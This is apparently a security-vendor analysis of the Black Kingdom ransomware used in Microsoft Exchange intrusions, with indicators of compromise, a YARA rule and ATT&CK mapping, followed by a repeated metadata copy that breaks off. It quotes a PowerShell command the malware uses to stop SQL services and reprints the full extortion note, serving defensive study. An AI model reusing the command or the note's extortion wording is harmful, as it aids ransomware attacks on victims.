
Black Kingdom ransomware appeared on the scene back in 2019, but we observed some activity again in 2021. The ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065).
The complexity and sophistication of the Black Kingdom family cannot bear a comparison with other Ransomware-as-a-Service (RaaS) or Big Game Hunting (BGH) families. The ransomware is coded in Python and compiled to an executable using PyInstaller; it supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and a possibility to recover files encrypted with Black Kingdom with the help of the hardcoded key. The industry already [provided a script](<https://blog.cyberint.com/black-kingdom-ransomware>) to recover encrypted files in case they were encrypted with the embedded key.
## Background
The use of a ransomware family dubbed Black Kingdom in a campaign that exploited the CVE-2021-27065 Microsoft Exchange vulnerability known as [ProxyLogon](<https://proxylogon.com/>) was [publicly reported](<https://twitter.com/vikas891/status/1373282066603859969>) at the end of March.
Around the same time, we published a story on another ransomware family used by the attackers after successfully exploiting vulnerabilities in Microsoft Exchange Server. The ransomware family was DearCry.
Analysis of Black Kingdom revealed that, compared to others, it is an amateurish implementation with several mistakes and a critical encryption flaw that could allow decrypting the files due to the use of a hardcoded key. Black Kingdom is not a new player: it was observed in action following other vulnerability exploitations in 2020, such as CVE-2019-11510.
**Date** | **CVE** | **Product affected**
---|---|---
June 2020 | CVE-2019-11510 | Pulse Secure
March 2021 | CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 | Microsoft Exchange Server
## Technical analysis
### Delivery methods
Black Kingdom's past activity indicates that ransomware was used in larger vulnerability exploitations campaigns related to Pulse Secure or Microsoft Exchange. [Public reports](<https://twitter.com/malwaretechblog/status/1373648027609657345>) indicated that the adversary behind the campaign, after successfully exploiting the vulnerability, installed a webshell in the compromised system. The webshell enabled the attacker to execute arbitrary commands, such as a PowerShell script for downloading and running the Black Kingdom executable.
### Sleep parameters
The ransomware can be executed without parameters and will start to encrypt the system, however, it is possible to to run Black Kingdom with a number value, which it will interpret as the number of seconds to wait before starting encryption.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141438/BlackKingdom_ransomware_01.png>)
**_'Sleep' parameter used as an argument_**
### Ransomware is written in Python
Black Kingdom is coded in Python and compiled to an executable using PyInstaller. While analyzing the code statically, we found that most of the ransomware logic was coded into a file named _0xfff.py_. The ransomware is written in Python 3.7.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141523/BlackKingdom_ransomware_02.png>)
**_Black Kingdom is coded in Python_**
### Excluded directories
The adversary behind Black Kingdom specified certain folders to be excluded from encryption. The purpose is to avoid breaking the system during encryption. The list of excluded folders is available in the code:
* Windows,
* ProgramData,
* Program Files,
* Program Files (x86),
* AppData/Roaming,
* AppData/LocalLow,
* AppData/Local.
The code that implements this functionality demonstrates how amateurishly Black Kingdom is written. The developers failed to use OS environments or regex to avoid repeating the code twice.
### PowerShell command for process termination and history deletion
Prior to file encryption, Black Kingdom uses PowerShell to try to stop all processes in the system that contain "sql" in the name with the following command:
Get-Service*sql*|Stop-Service-Force2>$null
Once done, Black Kingdom will delete the PowerShell history in the system.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141650/BlackKingdom_ransomware_03.png>)
**_PowerShell commands run by Black Kingdom_**
Combined with a cleanup of system logs, this supports the theory that the attackers try to remain hidden in the system by removing all traces of their activity.
### Encryption process
The static analysis of Black Kingdom shows how it generates an AES-256 key based on the following algorithm.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141733/BlackKingdom_ransomware_04.png>)
**_The pseudo-algorithm used by Black Kingdom_**
The malware generates a 64-character pseudo-random string. It then takes the MD5 hash of the string and uses it as the key for AES-256 encryption.
The code contains credentials for sending the generated key to the third-party service hxxp://mega.io. If the connection is unsuccessful, the Black Kingdom encrypts the data with a hardcoded key available in the code.
Below is an example of a successful connection with hxxp://mega.io.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141817/BlackKingdom_ransomware_05.png>)
**_Connection established with mega.io_**
** **The credentials for mega.io are hardcoded in base64 and used for connecting as shown below.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143025/BlackKingdom_ransomware_06.png>)
**_Hardcoded credentials_**
The file sent to Mega contained the following data.
**Parameter** | **Description:**
---|---
ID: | Generated ID for user identification
Key: | Generated user key
User: | Username in the infected system
Domain: | Domain name to which the infected user belongs
Black Kingdom will encrypt a single file if it is passed as a parameter with the key to encrypt it. This could allow the attacker to encrypt one file instead of encrypting the entire system.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143102/BlackKingdom_ransomware_07.png>)
**_Function for encrypting a single file_**
If no arguments are used, the ransomware will start to enumerate files in the system and then encrypt these with a ten-threaded process. It performs the following basic operations:
1. Read the file,
2. Overwrite it with an encrypted version,
3. Rename the file.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143137/BlackKingdom_ransomware_08.png>)
**_The function used for encrypting the system_**
Black Kingdom allows reading a file in the same directory called target.txt, which will be used by the ransomware to recursively collect files for the collected directories specified in that file and then encrypt them. Black Kingdom will also enumerate various drive letters and encrypt them. A rescue note will be delivered for each encrypted directory.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143222/BlackKingdom_ransomware_09.png>)
**_Rescue note used by the ransomware_**
### Encryption mistakes
Amateur ransomware developers often end up making mistakes that can help decryption, e.g., poor implementation of the encryption key, or, conversely, make recovery impossible even after the victim pays for a valid decryptor. Black Kingdom will try to upload the generated key to Mega, and if this fails, use a hardcoded key to encrypt the files. If the files have been encrypted and the system has not been able to make a connection to Mega, it will be possible to recover the files using the hardcoded keys.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143256/BlackKingdom_ransomware_10.png>)
**_Hardcoded key in Base64_**
While analyzing the code statically, we examined the author's implementation of file encryption and found several mistakes that could affect victims directly. During the encryption process, Black Kingdom does not check whether the file is already encrypted or not. Other popular ransomware families normally add a specific extension or a marker to all encrypted files. However, if the system has been infected by Black Kingdom twice, files in the system will be encrypted twice, too, which may prevent recovery with a valid encryption key.
### System log cleanup
A feature of Black Kingdom is the ability to clean up system logs with a single Python function.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143334/BlackKingdom_ransomware_11.png>)
**_The function that cleans up system logs_**
This operation will result in Application, Security, and System event viewer logs being deleted. The purpose is to remove any history of ransomware activity, exploitation, and privilege escalation.
### Ransomware note
Black Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard with pyHook as it does so.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143409/BlackKingdom_ransomware_12.png>)
**_Function to hook the mouse and keyboard_**
Written in English, the note contains several mistakes. All Black Kingdom notes contain the same Bitcoin address; sets it apart from other ransomware families, which provide a unique address to each victim.
***************************
| We Are Back ?
***************************
We hacked your (( Network )), and now all files, documents, images,
databases and other important data are safely encrypted using the strongest algorithms ever.
You cannot access any of your files or services .
But do not worry. You can restore everthing and get back business very soon ( depends on your actions )
before I tell how you can restore your data, you have to know certain things :
We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.
To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )
***************************
| What guarantees ?
***************************
We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free
just send the files you want to decrypt to (support_blackkingdom2@protonmail.com
***************************************************
| How to contact us and recover all of your files ?
***************************************************
The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .
[ + ] Instructions:
1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com
2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :
[ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]
3- confirm your payment by sending the transfer url to our email address
4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,
so that you can recover all your files.
## Note ##
Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.
By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.
Your ID ==>
FDHJ91CUSzXTquLpqAnP
The associated Bitcoin address is currently showing just two transactions.
[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143451/BlackKingdom_ransomware_13.png>)
**_Transactions made to a Bitcoin account_**
### Code analysis
After decompiling the Python code, we found that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on Github](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>).
The adversary behind Black Kingdom adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key or communication with the mega.io domain.
## Victims
Based on our telemetry we could see only a few hits by Black Kingdom in Italy and Japan.
## Attribution
We could not attribute Black Kingdom to any known adversary in our case analysis. Its involvement in the Microsoft Exchange exploitation campaign suggests opportunism, rather than a resurgence in activity from this ransomware family.
For more information please contact: [financialintel@kaspersky.com](<mailto:financialintel@kaspersky.com>)
## Appendix I – Indicators of Compromise
**_Note:_**_ The indicators in this section were valid at the time of publication. Any future changes will be directly updated in the corresponding .ioc file._
**File Hashes**
b9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f
c4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908
a387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287
815d7f9d732c4d1a70cec05433b8d4de75cba1ca9caabbbe4b8cde3f176cc670
910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db
866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc
c25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a
**Domain:**
hxxp://yuuuuu44[.]com/vpn-service/$(f1)/crunchyroll-vpn
**YARA rules:**
import "hash"
import "pe"
rule ransomware_blackkingdom {
meta:
description = "Rule to detect Black Kingdom ransomware"
author = "Kaspersky Lab"
copyright = "Kaspersky Lab"
distribution = "DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM"
version = "1.0"
last_modified = "2021-05-02"
hash = "866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc"
hash = "910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db"
condition:
hash.sha256(pe.rich_signature.clear_data) == "0e7d0db29c7247ae97591751d3b6c0728aed0ec1b1f853b25fc84e75ae12b7b8"
}
## Appendix II – MITRE ATT&CK Mapping
This table contains all TTPs identified during the analysis of the activity described in this report.
**Tactic** | **Technique.** | **Technique Name. **
---|---|---
**Execution** | **T1047** | **Windows Management Instrumentation**
**T1059** | **Command and Scripting Interpreter**
**T1106** | **Native API**
**Persistence** | **T1574.002** | **DLL Side-Loading**
**T1546.011** | **Application Shimming**
**T1547.001** | **Registry Run Keys / Startup Folder**
**Privilege Escalation** | **T1055** | **Process Injection**
**T1574.002** | **DLL Side-Loading**
**T1546.011** | **Application Shimming**
**T1134** | **Access Token Manipulation**
**T1547.001** | **Registry Run Keys / Startup Folder**
**Defense Evasion** | **T1562.001** | **Disable or Modify Tools**
**T1140** | **Deobfuscate/Decode Files or Information**
**T1497** | **Virtualization/Sandbox Evasion**
**T1027** | **Obfuscated Files or Information**
**T1574.002** | **DLL Side-Loading**
**T1036** | **Masquerading**
**T1134** | **Access Token Manipulation**
**T1055** | **Process Injection**
**Credential Access** | **T1056** | **Input Capture**
**Discovery** | **T1083** | **File and Directory Discovery**
**T1082** | **System Information Discovery**
**T1497** | **Virtualization/Sandbox Evasion**
**T1012** | **Query Registry**
**T1518.001** | **Security Software Discovery**
**T1057** | **Process Discovery**
**T1018** | **Remote System Discovery**
**T1016** | **System Network Configuration Discovery**
**Collection** | **T1560** | **Archive Collected Data**
**T1005** | **Data from Local System**
**T1114** | **Email Collection**
**T1056** | **Input Capture**
**Command and Control** | **T1573** | **Encrypted Channel**
**Impact** | **T1486** | **Data Encrypted for Impact**
{"id": "SECURELIST:DF3251CC204DECD6F24CA93B7A5701E1", "type": "securelist", "bulletinFamily": "blog", "title": "Black Kingdom ransomware", "description": "\n\nBlack Kingdom ransomware appeared on the scene back in 2019, but we observed some activity again in 2021. The ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065).\n\nThe complexity and sophistication of the Black Kingdom family cannot bear a comparison with other Ransomware-as-a-Service (RaaS) or Big Game Hunting (BGH) families. The ransomware is coded in Python and compiled to an executable using PyInstaller; it supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and a possibility to recover files encrypted with Black Kingdom with the help of the hardcoded key. The industry already [provided a script](<https://blog.cyberint.com/black-kingdom-ransomware>) to recover encrypted files in case they were encrypted with the embedded key.\n\n## Background\n\nThe use of a ransomware family dubbed Black Kingdom in a campaign that exploited the CVE-2021-27065 Microsoft Exchange vulnerability known as [ProxyLogon](<https://proxylogon.com/>) was [publicly reported](<https://twitter.com/vikas891/status/1373282066603859969>) at the end of March.\n\nAround the same time, we published a story on another ransomware family used by the attackers after successfully exploiting vulnerabilities in Microsoft Exchange Server. The ransomware family was DearCry.\n\nAnalysis of Black Kingdom revealed that, compared to others, it is an amateurish implementation with several mistakes and a critical encryption flaw that could allow decrypting the files due to the use of a hardcoded key. Black Kingdom is not a new player: it was observed in action following other vulnerability exploitations in 2020, such as CVE-2019-11510.\n\n**Date** | **CVE** | **Product affected** \n---|---|--- \nJune 2020 | CVE-2019-11510 | Pulse Secure \nMarch 2021 | CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 | Microsoft Exchange Server \n \n## Technical analysis\n\n### Delivery methods\n\nBlack Kingdom's past activity indicates that ransomware was used in larger vulnerability exploitations campaigns related to Pulse Secure or Microsoft Exchange. [Public reports](<https://twitter.com/malwaretechblog/status/1373648027609657345>) indicated that the adversary behind the campaign, after successfully exploiting the vulnerability, installed a webshell in the compromised system. The webshell enabled the attacker to execute arbitrary commands, such as a PowerShell script for downloading and running the Black Kingdom executable.\n\n### Sleep parameters\n\nThe ransomware can be executed without parameters and will start to encrypt the system, however, it is possible to to run Black Kingdom with a number value, which it will interpret as the number of seconds to wait before starting encryption.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141438/BlackKingdom_ransomware_01.png>)\n\n**_'Sleep' parameter used as an argument_**\n\n### Ransomware is written in Python\n\nBlack Kingdom is coded in Python and compiled to an executable using PyInstaller. While analyzing the code statically, we found that most of the ransomware logic was coded into a file named _0xfff.py_. The ransomware is written in Python 3.7.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141523/BlackKingdom_ransomware_02.png>)\n\n**_Black Kingdom is coded in Python_**\n\n### Excluded directories\n\nThe adversary behind Black Kingdom specified certain folders to be excluded from encryption. The purpose is to avoid breaking the system during encryption. The list of excluded folders is available in the code:\n\n * Windows,\n * ProgramData,\n * Program Files,\n * Program Files (x86),\n * AppData/Roaming,\n * AppData/LocalLow,\n * AppData/Local.\n\nThe code that implements this functionality demonstrates how amateurishly Black Kingdom is written. The developers failed to use OS environments or regex to avoid repeating the code twice.\n\n### PowerShell command for process termination and history deletion\n\nPrior to file encryption, Black Kingdom uses PowerShell to try to stop all processes in the system that contain "sql" in the name with the following command:\n \n \n Get-Service*sql*|Stop-Service-Force2>$null\n\nOnce done, Black Kingdom will delete the PowerShell history in the system.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141650/BlackKingdom_ransomware_03.png>)\n\n**_PowerShell commands run by Black Kingdom_**\n\nCombined with a cleanup of system logs, this supports the theory that the attackers try to remain hidden in the system by removing all traces of their activity.\n\n### Encryption process\n\nThe static analysis of Black Kingdom shows how it generates an AES-256 key based on the following algorithm.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141733/BlackKingdom_ransomware_04.png>)\n\n**_The pseudo-algorithm used by Black Kingdom_**\n\nThe malware generates a 64-character pseudo-random string. It then takes the MD5 hash of the string and uses it as the key for AES-256 encryption.\n\nThe code contains credentials for sending the generated key to the third-party service hxxp://mega.io. If the connection is unsuccessful, the Black Kingdom encrypts the data with a hardcoded key available in the code.\n\nBelow is an example of a successful connection with hxxp://mega.io.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16141817/BlackKingdom_ransomware_05.png>)\n\n**_Connection established with mega.io_**\n\n** **The credentials for mega.io are hardcoded in base64 and used for connecting as shown below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143025/BlackKingdom_ransomware_06.png>)\n\n**_Hardcoded credentials_**\n\nThe file sent to Mega contained the following data.\n\n**Parameter** | **Description:** \n---|--- \nID: | Generated ID for user identification \nKey: | Generated user key \nUser: | Username in the infected system \nDomain: | Domain name to which the infected user belongs \n \nBlack Kingdom will encrypt a single file if it is passed as a parameter with the key to encrypt it. This could allow the attacker to encrypt one file instead of encrypting the entire system.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143102/BlackKingdom_ransomware_07.png>)\n\n**_Function for encrypting a single file_**\n\nIf no arguments are used, the ransomware will start to enumerate files in the system and then encrypt these with a ten-threaded process. It performs the following basic operations:\n\n 1. Read the file,\n 2. Overwrite it with an encrypted version,\n 3. Rename the file.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143137/BlackKingdom_ransomware_08.png>)\n\n**_The function used for encrypting the system_**\n\nBlack Kingdom allows reading a file in the same directory called target.txt, which will be used by the ransomware to recursively collect files for the collected directories specified in that file and then encrypt them. Black Kingdom will also enumerate various drive letters and encrypt them. A rescue note will be delivered for each encrypted directory.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143222/BlackKingdom_ransomware_09.png>)\n\n**_Rescue note used by the ransomware_**\n\n### Encryption mistakes\n\nAmateur ransomware developers often end up making mistakes that can help decryption, e.g., poor implementation of the encryption key, or, conversely, make recovery impossible even after the victim pays for a valid decryptor. Black Kingdom will try to upload the generated key to Mega, and if this fails, use a hardcoded key to encrypt the files. If the files have been encrypted and the system has not been able to make a connection to Mega, it will be possible to recover the files using the hardcoded keys.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143256/BlackKingdom_ransomware_10.png>)\n\n**_Hardcoded key in Base64_**\n\nWhile analyzing the code statically, we examined the author's implementation of file encryption and found several mistakes that could affect victims directly. During the encryption process, Black Kingdom does not check whether the file is already encrypted or not. Other popular ransomware families normally add a specific extension or a marker to all encrypted files. However, if the system has been infected by Black Kingdom twice, files in the system will be encrypted twice, too, which may prevent recovery with a valid encryption key.\n\n### System log cleanup\n\nA feature of Black Kingdom is the ability to clean up system logs with a single Python function.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143334/BlackKingdom_ransomware_11.png>)\n\n**_The function that cleans up system logs_**\n\nThis operation will result in Application, Security, and System event viewer logs being deleted. The purpose is to remove any history of ransomware activity, exploitation, and privilege escalation.\n\n### Ransomware note\n\nBlack Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard with pyHook as it does so.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143409/BlackKingdom_ransomware_12.png>)\n\n**_Function to hook the mouse and keyboard_**\n\nWritten in English, the note contains several mistakes. All Black Kingdom notes contain the same Bitcoin address; sets it apart from other ransomware families, which provide a unique address to each victim.\n \n \n ***************************\n | We Are Back ?\n ***************************\n \n We hacked your (( Network )), and now all files, documents, images,\n databases and other important data are safely encrypted using the strongest algorithms ever.\n You cannot access any of your files or services .\n But do not worry. You can restore everthing and get back business very soon ( depends on your actions )\n \n before I tell how you can restore your data, you have to know certain things :\n \n We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.\n \n To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )\n \n ***************************\n | What guarantees ?\n ***************************\n \n We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free\n just send the files you want to decrypt to (support_blackkingdom2@protonmail.com\n \n ***************************************************\n | How to contact us and recover all of your files ?\n ***************************************************\n \n The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .\n \n \n [ + ] Instructions:\n \n 1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com\n \n 2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :\n \n [ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]\n \n 3- confirm your payment by sending the transfer url to our email address\n \n 4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,\n so that you can recover all your files.\n \n ## Note ##\n \n Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.\n By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.\n \n Your ID ==>\n FDHJ91CUSzXTquLpqAnP\n\nThe associated Bitcoin address is currently showing just two transactions.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/16143451/BlackKingdom_ransomware_13.png>)\n\n**_Transactions made to a Bitcoin account_**\n\n### Code analysis\n\nAfter decompiling the Python code, we found that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on Github](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>).\n\nThe adversary behind Black Kingdom adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key or communication with the mega.io domain.\n\n## Victims\n\nBased on our telemetry we could see only a few hits by Black Kingdom in Italy and Japan.\n\n## Attribution\n\nWe could not attribute Black Kingdom to any known adversary in our case analysis. Its involvement in the Microsoft Exchange exploitation campaign suggests opportunism, rather than a resurgence in activity from this ransomware family.\n\nFor more information please contact: [financialintel@kaspersky.com](<mailto:financialintel@kaspersky.com>)\n\n## Appendix I \u2013 Indicators of Compromise\n\n**_Note:_**_ The indicators in this section were valid at the time of publication. Any future changes will be directly updated in the corresponding .ioc file._\n\n**File Hashes**\n\nb9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f \nc4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908 \na387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287 \n815d7f9d732c4d1a70cec05433b8d4de75cba1ca9caabbbe4b8cde3f176cc670 \n910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db \n866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc \nc25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a\n\n**Domain:**\n\nhxxp://yuuuuu44[.]com/vpn-service/$(f1)/crunchyroll-vpn\n\n**YARA rules:**\n \n \n import \"hash\"\n import \"pe\"\n rule ransomware_blackkingdom {\n \n meta:\n \n description = \"Rule to detect Black Kingdom ransomware\"\n author = \"Kaspersky Lab\"\n copyright = \"Kaspersky Lab\"\n distribution = \"DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM\"\n version = \"1.0\"\n last_modified = \"2021-05-02\"\n hash = \"866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc\"\n hash = \"910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db\"\n \n condition:\n \n hash.sha256(pe.rich_signature.clear_data) == \"0e7d0db29c7247ae97591751d3b6c0728aed0ec1b1f853b25fc84e75ae12b7b8\"\n }\n\n## Appendix II \u2013 MITRE ATT&CK Mapping\n\nThis table contains all TTPs identified during the analysis of the activity described in this report.\n\n**Tactic** | **Technique.** | **Technique Name. ** \n---|---|--- \n**Execution** | **T1047** | **Windows Management Instrumentation** \n**T1059** | **Command and Scripting Interpreter** \n**T1106** | **Native API** \n**Persistence** | **T1574.002** | **DLL Side-Loading** \n**T1546.011** | **Application Shimming** \n**T1547.001** | **Registry Run Keys / Startup Folder** \n**Privilege Escalation** | **T1055** | **Process Injection** \n**T1574.002** | **DLL Side-Loading** \n**T1546.011** | **Application Shimming** \n**T1134** | **Access Token Manipulation** \n**T1547.001** | **Registry Run Keys / Startup Folder** \n**Defense Evasion** | **T1562.001** | **Disable or Modify Tools** \n**T1140** | **Deobfuscate/Decode Files or Information** \n**T1497** | **Virtualization/Sandbox Evasion** \n**T1027** | **Obfuscated Files or Information** \n**T1574.002** | **DLL Side-Loading** \n**T1036** | **Masquerading** \n**T1134** | **Access Token Manipulation** \n**T1055** | **Process Injection** \n**Credential Access** | **T1056** | **Input Capture** \n**Discovery** | **T1083** | **File and Directory Discovery** \n**T1082** | **System Information Discovery** \n**T1497** | **Virtualization/Sandbox Evasion** \n**T1012** | **Query Registry** \n**T1518.001** | **Security Software Discovery** \n**T1057** | **Process Discovery** \n**T1018** | **Remote System Discovery** \n**T1016** | **System Network Configuration Discovery** \n**Collection** | **T1560** | **Archive Collected Data** \n**T1005** | **Data from Local System** \n**T1114** | **Email Collection** \n**T1056** | **Input Capture** \n**Command and Control** | **T1573** | **Encrypted Channel** \n**Impact** | **T1486** | **Data Encrypted for Impact**", "published": "2021-06-17T10:00:41", "modified": "2021-06-17T10:00:41", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://securelist.com/black-kingdom-ransomware/102873/", "reporter": "Marc Rivero", "references": [], "cvelist": ["CVE-2019-11510", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "immutableFields": [], "lastseen": "2021-06-17T10:31:39", "viewCount": 166, "enchantments": {"dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:09A31B56FFEA13FBA5985C1B2E66133B", "AKAMAIBLOG:30D20162B95C09229EEF2C09C5D98FCA", "AKAMAIBLOG:BB43372E19E8CF90A965E98130D0C070"]}, {"type": "attackerkb", "idList": ["AKB:0C69B33C-2322-4075-BE16-A92593B75107", "AKB:1BA7DC74-F17D-4C34-9A6C-2F6B39787AA2", "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "AKB:4C137002-9580-4593-83DB-D4E636E1AEFB", "AKB:5D17BB38-86BB-4514-BF1D-39EB48FBE4F1", "AKB:8E9F0DC4-BC72-4340-B70E-5680CA968D2B", "AKB:BD645B28-C99E-42EA-A606-832F4F534945", "AKB:F0223615-0DEB-4BCC-8CF7-F9CED07F1876"]}, {"type": "avleonov", "idList": ["AVLEONOV:13BED8E5AD26449401A37E1273217B9A"]}, {"type": "carbonblack", "idList": ["CARBONBLACK:C9B38F7962606C41AA16ECBD4E48D712"]}, {"type": "cert", "idList": ["VU:927237"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-1097", "CPAI-2021-0099", "CPAI-2021-0107"]}, {"type": "cisa", "idList": ["CISA:16DE226AFC5A22020B20927D63742D98", "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C"]}, {"type": "cve", "idList": ["CVE-2019-11510", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"]}, {"type": "dsquare", "idList": ["E-688"]}, {"type": "exploitdb", "idList": ["EDB-ID:47297", "EDB-ID:49879", "EDB-ID:49895"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:23F64F82AC4F6039E4EBCB303C604A42"]}, {"type": "fireeye", "idList": ["FIREEYE:C650A7016EEAD895903FB350719E53E3"]}, {"type": "githubexploit", "idList": ["00B8023B-5D2D-5FF7-9F9E-C773ACF38386", "059DC199-E425-50EE-B5F5-E351E0323E69", "0DE16A64-9ACA-5BBE-A315-A3AE1B013900", "13364575-934B-5E73-AA03-AEB6910F6AD2", "13C8F5B4-D05E-5953-9263-59AE11CCD7DE", "14573955-860C-5947-8F2F-86347A606742", "18D647E9-D7D4-5591-B16C-05D007AFD726", "2481D5F6-C105-5158-B4AF-B67D7BA244A3", "256984DC-A742-53F8-889F-2071EC134734", "27A663CD-2720-57DA-A38A-DF1FEE0D7124", "3019C843-FE2F-527C-B7C1-14A1C3066721", "31DB22CD-3492-524F-9D26-035FC1086A71", "35B21CE7-1E51-5824-B70E-36480A6E8763", "37EE4A49-AEF7-5A71-AC1C-4B55CB94DD92", "4987606C-EB9B-581F-913D-36468DE9160E", "4E59AAA3-7DBF-5E34-BD91-8F83E0E65CEB", "4FD3A97A-9BE6-5A1E-AE21-241CC188CDE7", "52814444-4FCC-517B-B4B3-6DC5C4A27AA6", "62891769-2887-58A7-A603-BCD5E6A6D6F9", "64D0ED0A-E1C0-57F4-B874-CAB63E7D858C", "65D56BCD-234F-52E5-9388-7D1421B31B1B", "6D33E1F2-A0E0-5F7C-B559-054EDA21AB58", "71E27C48-EAFE-5FC0-98A4-BE7276D47449", "7275794A-F2F6-51E6-B514-185E494D8A3F", "72EF4B3F-6CF3-5E4D-9B05-D4E27A7A9D1A", "7395180E-85B1-5253-9975-F93BE4693139", "765DCAD5-2789-5451-BBFA-FAD691719F7A", "7758268F-2004-536A-B51F-62DA1E5A992D", "77912E98-768B-5AF5-AE06-1F42C6D88F72", "798FA73D-8AE9-55E5-9D2F-4CC9D9477DD9", "7C80631A-74CB-54F0-BC26-01EEF7D52760", "7F4F3321-8955-51B4-B195-7C1F647A6C84", "81FEB23C-D090-5CE8-9B92-00BE597DE052", "91C28663-6C3C-5E4F-B609-44E5804E4A83", 